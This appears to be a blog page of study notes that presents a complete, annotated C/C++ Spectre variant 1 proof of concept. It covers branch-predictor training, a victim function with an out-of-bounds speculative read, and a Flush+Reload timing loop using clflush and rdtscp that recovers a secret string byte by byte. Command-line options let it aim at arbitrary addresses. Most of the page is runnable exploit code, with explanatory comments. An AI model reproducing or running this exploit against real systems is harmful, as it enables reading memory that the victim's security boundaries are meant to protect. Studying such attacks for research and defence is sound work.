当前位置:网站首页>Spectre record
Spectre record
2022-06-13 09:07:00 【antRain】
spectre Record
v1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt", on)
#else
#include <x86intrin.h> /* for rdtscp and clflush GCC Built in function set ( in the light of x86 platform ) */
#endif
#include<thread>
#include<time.h>
/* Reference blog [ Nonvolatile memory programming ] Built in functions through the compiler (Intrinsic Functions) launch CLFLUSH、CLFLUSHOPT https://blog.csdn.net/maokelong95/article/details/81362837 Spectre Attack details https://zhuanlan.zhihu.com/p/33635193 https://meltdownattack.com/ Flush-Reload Way to complete Side-channel attack https://zhuanlan.zhihu.com/p/32848483 Reading Meltdown & Spectre CPU Loophole https://zhuanlan.zhihu.com/p/32757727 */
/******************************************************************** Victim code. ********************************************************************/
// Array 1 size 16
// unsigned int array1_size = 16;
// const unsigned int array1_size = 16;
volatile const unsigned int array1_size = 16;
// volatile unsigned int array1_size = 16;
#define BIT 4096
// typedef unsigned char unint8
uint8_t unused1[64];
/*** * array1 Represents the shared memory space between the victim and the attacker , But this is just one example : Its other code size works * array1 Surrounded by two unused arrays : These arrays are useful to ensure that different cache paths are hit . On many processors L1 Each cache path has 64 Bytes */
uint8_t array1[160] = {
1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16};
uint8_t unused2[64];
uint8_t array2[256 * BIT];
// Suppose the attacker wants to recover the data
char *secret = "The Magic Words are Squeamish Ossifrage.";
uint8_t temp = 0; /* To not optimize out victim_function() */
/* 1. Read array1_size. This operation will result in cache loss . 2. Although the processor is grabbing array1_size—— Due to cache missing ,array1_size yes “ Long ” Of —— But the branch predictor assumes that it is correct ( An incorrect guess ). 3. Speculative read array1[x]. This read is very fast , Because it is a cache hit . 4. Read array2[array1[x]* BIT]. Read time is very long ( Cache missing ). 5. Although the steps 4 Reading in is waiting , But the steps 1 The value of has reached . The processor has detected that its guess is incorrect , And readjusted their own state . */
void victim_function(size_t x){
if (x < array1_size){
temp &= array2[array1[x] * BIT];
// array2[array1[x] * BIT] + 1;
// array2[array1[x] * BIT] ++ ; // Self augmentation is possible a = a+1 ; a++ ;
// uint8_t temp1 = array2[array1[x] * BIT];
// array2[array1[x] * BIT]; uint8_t ccc = 1 ; Invalid
// size_t inx = array1[x] * BIT; uint8_t temp3 = array2[inx] ; // It works
// size_t inx = array1[x] * BIT; uint8_t temp3 = array2[array1[x]] ; // Invalid
}
}
/******************************************************************** Analysis code ********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* cache hit if time <= threshold threshold */
/* Report best guess in value[0] and runner-up in value[1] This function will try to guess the value at the given address . For all possible byte values ( Yes 256 individual ), This function will test the use of Flush+Reload The time required for a cache attack to access this value . Various time series are stored in results In the table , But the function only returns two best guesses */
void readMemoryByte(size_t malicious_x, uint8_t value[2],int score[2]){
static int results[256];
int tries, i, j, k, mix_i;
unsigned int junk = 0;
size_t training_x, x; // typedef unsigned long long size_t
register uint64_t time1, time2;
volatile uint8_t *addr;
for (i = 0; i < 256; i++) results[i] = 0;
for (tries = 999; tries > 0; tries--){
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++) {
/*GCC Built in clflush CLFLUSH(Cache Line Flush, Cache rows are flushed back ) Can put the specified cache line (Cache Line) Eliminate from all level caches , If the data in the cache row has been modified , Write the data to main memory ; Support the status quo : Current mainstream processors support this instruction void _mm_clflush (void const* p) Include... From all levels of the cache hierarchy p The cache line of is invalid and flushed First , Start from a pure state , Deleted the whole array2 surface . This table is shared with attackers , It needs to be able to store 256 Different cache lines . The size of the cache line is BIT position */
_mm_clflush(&array2[i * BIT]);
}
/* 5 trainings (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--){
_mm_clflush((const int *) &array1_size);
/*volatile: A volatile specifier is a hint to a compiler that an object may change its value in ways not specified by the language so that aggressive optimizations must be avoided Usually used to establish language level memory barrier The compiler no longer optimizes the code that accesses the variable , It can provide stable access to special addresses , The system always rereads data from its memory , Even if its previous instruction just read data from there . And the read data is immediately saved To ensure that the refresh is complete , The processor does not reorder */
for (volatile int z = 0; z < 100; z++){
}
/* Delay (can also mfence) */
x = ((j % 6) - 1) & ~ 0xFFFF;/* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x)); // training_x < 0x000F
// The above three lines are equivalent to
// x = j%6?training_x:malicious_x;
// for(int xx = 0 ; xx < 100; xx++ ) ; // Use certain for Circulation can reduce above j%6? Of Branch judgment affects , May be to strengthen the correct judgment of prediction
// printf("j=%d training_x = %d, x = %d \n", j, training_x,x);
victim_function(x); /* Call the victim! */
}
/* Time reads. Mixed-up order to prevent stride prediction Prevent the mixing sequence of stride prediction */
for (i = 0; i < 256; i++){
mix_i = ((i * 167) + 13) & 255; // Calculate the address of the cache line to check
addr = &array2[mix_i * BIT];
/* unsigned __int64 __rdtscp (unsigned int * mem_addr) Copy the current 64-bit value of the processor's time-stamp counter into dst, and store the IA32_TSC_AUX MSR (signature value) into memory at mem_addr. The current value of the processor timestamp counter 64 Bit values are copied to dst in , And will IA32_TSC_AUX MSR( Signature value ) Stored in memory mem_addr */
time1 = __rdtscp(&junk);
junk = *addr; /* Time memory access */
time2 = __rdtscp(&junk) - time1; /* Compute elapsed time */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size]) results[mix_i]++; /* cache hit -> score +1 for this value */
}
/* Locate highest j & second-highest k results */
j = k = results[0];
for (i = 1; i < 256; i++){
if (results[i] >= results[j]){
k = j;
j = i;
} else if (results[i] >= results[k]){
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) ||(results[j] == 2 && results[k] == 0))
break; /* Success if best is > 2*runner-up + 5 or 2/0) */
}
/* use junk to prevent code from being optimized out Use junk To prevent code from being optimized */
// results[0] ^= junk;
value[0] = (uint8_t)j;
score[0] = results[j];
value[1] = (uint8_t)k;
score[1] = results[k];
}
/** printf Format parameters * X:Unsigned hexadecimal integer (uppercase) * p: Pointer address */
/** * void* A general pointer , Can point to any type of pointer * The pointer has two properties : Point to variable / The address and length of the object , But a pointer is an address that stores the variable being pointed to , The length depends on the type of pointer * * argc = argument count : It means incoming main The number of array elements of the function * argv = argument vector : It means incoming main An array of pointers to functions , by char** type , * The first array element argv[0] Is the program name , And include the full path where the program is located .argc At least for 1, namely argv The array contains at least the program name * The general compiler defaults to argc and argv Two names as main The parameters of the function , However, it is not necessary to name these two parameters like this */
int main(int argc, const char **argv) {
size_t malicious_x = (size_t)(secret - (char *)array1); /* default for malicious_x */
printf("secret address = %p,array1 address = %p, minus malicious_x= %p\n", (void *)secret,(void *)array1, (void *)malicious_x);
int i, score[2], len = 40;
uint8_t value[2];
for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 to ensure it is memory backed Support */
if (argc == 3){
sscanf(argv[1], "%p", (void **)(&malicious_x));
malicious_x -= (size_t)array1; /* Input value to pointer */
sscanf(argv[2], "%d", &len);
printf("Trying malicious_x = %p, len = %dn", (void *)malicious_x, len);
}
printf("Reading %d bytes:\n", len);
clock_t start = clock();
while (--len >= 0){
// std::this_thread::sleep_for(std::chrono::milliseconds(1000));
readMemoryByte(malicious_x++, value, score);
printf("Reading at malicious_x = %p... ", (void *)malicious_x);
printf("%s: ", score[0] >= 2 * score[1] ? "Success" : "Unclear");
// Not display character output ?
printf("0x%02X='%c' score=%d ", value[0], (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
if (score[1] > 0)
printf("(second best: 0x%02X score=%d)", value[1], score[1]);
printf("\n");
}
clock_t end = clock();
// printf("%.6f \n",(end-start + 0.0)/CLOCKS_PER_SEC);
return (0);
}
边栏推荐
- JS format file unit display
- Knowledge points related to system architecture 3
- Longadder of the source code of JUC atomic accumulator
- Agile development practice summary-4
- JUC atomic accumulator
- A very detailed blog about the implementation of bilinear interpolation by opencv
- Redis fuzzy query batch deletion
- Vscode plug in
- CAS NO lock
- Simulink如何添加模块到Library Browser
猜你喜欢

Collection of garbled code problems in idea development environment
Drill down to protobuf - Introduction

Simulink的Variant Model和Variant Subsystem用法

Cmake Learning Series I

Screenshot of cesium implementation scenario

Some websites of QT (software download, help documents, etc.)

Loss outputs Nan for the Nan model

【安全】零基礎如何從0到1逆襲成為安全工程師

20220606 Young's inequality for Matrices

Tutorial (5.0) 01 Product introduction and installation * fortiedr * Fortinet network security expert NSE 5
随机推荐
How to become a white hat hacker? I suggest you start from these stages
简单实现数据库链接池
类的加载概述
JUC 原子累加器 源码之 LongAdder
Tensorflow1.14 corresponds to numpy version
Tutorial (5.0) 02 Management * fortiedr * Fortinet network security expert NSE 5
图数据库Neo4j介绍
redis 模糊查询 批量删除
C language 7-13 day K candle chart (15 points)
Screenshot of cesium implementation scenario
Cesium common events, including click events, mouse events, and camera movement events
Software Architecture Overview knowledge
Some websites of QT (software download, help documents, etc.)
基于微信小程序的图书馆管理系统.rar(论文+源码)
Cmake Learning Series I
What are the bank financial products? How long is the liquidation period?
20211006 积分、微分、投影均属于线性变换
strcpy_ S precautions for use. (do not use strcpy_s where memcpy_s can be used)
Redirect vulnerability analysis of network security vulnerability analysis
pytorch统计模型的参数个数